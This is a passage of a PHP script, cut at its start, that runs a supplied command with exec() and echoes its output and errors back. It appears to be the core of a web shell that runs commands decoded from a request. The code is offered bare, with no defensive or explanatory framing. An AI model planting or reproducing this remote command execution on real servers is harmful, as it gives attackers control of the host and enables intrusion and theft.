Executed: $decoded_command";
echo str_repeat("
",2);
echo "Output:";
echo str_repeat("
",2);
exec($decoded_command . " 2>&1", $output, $return_status);
if (isset($return_status)):
if ($return_status !== 0):
echo "Error in Code Execution --> ";
foreach ($output as &$line) {
echo "$line
";
};
elseif ($return_status == 0 && empty($output)):
echo "Command ran successfully, but does not have any output.";
else:
foreach ($output as &$line) {
echo "$line
";
};
endif;
endif;
?>